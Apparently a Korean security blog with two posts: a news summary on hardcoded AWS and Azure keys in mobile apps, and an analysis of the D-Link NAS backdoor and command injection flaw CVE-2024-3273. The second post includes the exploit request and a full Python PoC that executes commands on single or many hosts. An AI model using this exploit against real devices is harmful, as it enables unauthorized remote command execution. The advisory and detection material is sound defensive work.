요약 - AWS, Azure의 인증 키들이 안드로이드와 iOS 앱들에서 발견
- 인증 정보를 코드 내에 하드코딩하고 암호화하지 않은 상태로 포함
내용 - AWS, Azure 등 클라우드 서비스의 인증 정보가 암호화 없이 하드코딩된 것으로 확인
> 앱의 바이너리 또는 소스 코드에 접근할 수 있는 누구나 자격 증명을 추출하여 데이터 조작 또는 유출할 수 있음을 의미

- 해당 앱들은 Google Play Stroe와 Apple App Store 등에서 수백만 번 다운로드됨
> Google Play Store : Pic Stitch, Meru Cabs, ReSound Tinnitus Relief 등
> Apple App Store : Crumbl, VideoShop 등

- 개발 단계에서의 잘못된 보안 관행이 주요 원인
> 개발자들이 편의상 자격 증명을 하드코딩하고 암호화 없이 남겨둔 채 배포된 것

- 권고 사항
> 환경변수 사용 : 민감한 자격 증명을 런타임에 로드되는 환경변수에 저장
> 비밀 관리 도구 사용 : AWS Secrets Manager나 Azure Key Vault와 같은 전용 비밀 관리 도구를 활용
> 민감 데이터 암호화 : 자격 증명을 앱에 저장해야 하는 경우 강력한 암호화 알고리즘 적용 및 런타임때 복호화
> 코드 리뷰 및 감사 : 정기적으로 코드 리뷰와 보안 감사를 수행해 하드코딩된 자격 증명과 기타 보안 취약점 식별 및 제거
> 보안 스캔 자동화 : 자동화된 보안 스캔 도구를 CI/CD에 통합하여 개발 프로세스 초기에 하드코딩된 자격 증명과 기타 보안 결함 감지
기타 - 22.09 보안 연구원은 AWS 자격 증명이 포함된 1,800개 이상의 iOS 및 Android 앱을 발견
> 이 중 77%가 코드베이스에 유효한 액세스 토큰

 

보안뉴스

 

유명 클라우드로의 크리덴셜, 각종 모바일 앱 통해 퍼진다

보안 외신 블리핑컴퓨터에 의하면 AWS와 애저(Azure)라는 거대 공공 클라우드의 인증 키들이 안드로이드와 iOS 앱들에서 발견되었다고 한다. 클라우드와 연계된 앱들을 만들고 제공하는 과정에서

www.boannews.com

 

수백만 사용하는 모바일 앱 보안 허점...AWS, Azure 인증 키 노출돼 - 데일리시큐

시만텍(Symantec) 최근 분석에 따르면, 수백만 명이 사용하는 인기 모바일 애플리케이션들이 아마존 웹 서비스(AWS)와 마이크로소프트 애저 블롭 스토리지(Microsoft Azure Blob Storage) 같은 클라우드 서

www.dailysecu.com

 

AWS, Azure auth keys found in Android and iOS apps used by millions

Multiple popular mobile applications for iOS and Android come with hardcoded, unencrypted credentials for cloud services like Amazon Web Services (AWS) and Microsoft Azure Blob Storage, exposing user data and source code to security breaches.

www.bleepingcomputer.com

 

Exposing the Danger Within: Hardcoded Cloud Credentials in Popular Mobile Apps

Examining the hidden risks posed to user privacy and security due to presence of hardcoded credentials within popular mobile apps.

www.security.com

 

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

 

- 취약한 버전의 D-Link 사의 여러 NAS 제품들에서 발생하는 임의 명령 주입 공격 취약점

영향받는 버전
- DNS-320L 버전 1.11, 버전 1.03.0904.2013, 버전 1.01.0702.2013
- DNS-325 버전 1.01
- DNS-327L 버전 1.09, 버전 1.00.0409.2013
- DNS-340L 버전 1.08

 

[사진 2] 인터넷에 노출된 취약한 D-Link NAS 장치 [2]

 

2. 취약점 상세 [2]

- 취약점은 /cgi-bin/nas_sharing.cgi 엔드포인트에 존재

> /cgi-bin/nas_sharing.cgi에 하드코딩된 자격 증명을 악용해 권한 없는 사용자가 시스템에 접근하는 백도어로 사용 

> 해당 엔드포인트에 user, passwd 매개변수와 system 매개변수를 설정해 GET 요청을 전송

① 백도어: 하드코딩된 user, passwd 매개변수를 이용

② 명령주입: system 매개변수를 이용하며, base64 인코딩을 적용해 전달

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

 

[사진 3] Exploit 결과

 

3. PoC [3]

- cgi-bin/nas_sharing.cgi URL로 GET 요청을 전송

> user 매개변수의 값을 messagebus, passwd 매개변수의 값을 빈 값으로 설정

> system 매개변수의 값을 base64로 인코딩하여 전송

import requests
import base64
import threading

# Utility function for Base64 encoding
def encode_base64(command):
    return base64.b64encode(command.encode()).decode()

# Watermark banner
print("""
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛
""")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",
    "Accept-Encoding": "identity"
}

# Use a session for requests
session = requests.Session()

# Lock for file writing
file_write_lock = threading.Lock()

def execute_command(host, command=None, print_response=True):
    if command is None:
        command = 'id'
    encoded_command = encode_base64(command)
    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"
    
    try:
        response = session.get(url, headers=headers, timeout=10)
        if 'root' in response.text:
            with file_write_lock:
                with open('vulnerables.txt', 'a') as f:
                    f.write(host + '\n')
            print(f"Host {host} is vulnerable.")
        elif print_response:
            print(f"Response from {host}:")
            print(response.text)
    except requests.Timeout:
        print(f"Request timed out for host {host}.")
    except requests.ConnectionError as e:
        print(f"Connection error for host {host}.")
    except Exception as e:
        print(f"An error occurred for host {host}.")

def execute_command_multiple(file_path, export):
    with open(file_path, 'r') as file:
        threads = []
        for line in file:
            host = line.strip().replace("\ufeff", "")
            thread = threading.Thread(target=execute_command, args=(host, None, False))
            thread.start()
            threads.append(thread)

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

def main():
    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")
    
    if option == '1':
        host = input("Enter the host: ")
        command = input("Enter the command to run: ")
        execute_command(host, command)
    elif option == '2':
        file_path = input("Enter the file path containing hosts: ")
        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()
        execute_command_multiple(file_path, export)
    else:
        print("Invalid option.")

if __name__ == "__main__":
    main()

 

4. 대응방안

- 해당 NAS 제품은 EOL(End Of Life, 지원 종료)에 도달해 더 이상 지원되지 않는 장비

> 벤더사는 관련 제품을 폐기하고 펌웨어 업데이트를 지원하는 제품으로 교체할 것을 권장 [4]

 

- 보안 장비 탐지 정책 적용

> cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd

 

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273
[2] https://github.com/netsecfish/dlink?tab=readme-ov-file
[3] https://github.com/adhikara13/CVE-2024-3273
[4] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
[5] https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
[6] https://www.boannews.com/media/view.asp?idx=128614&page=4&kind=1

+ Recent posts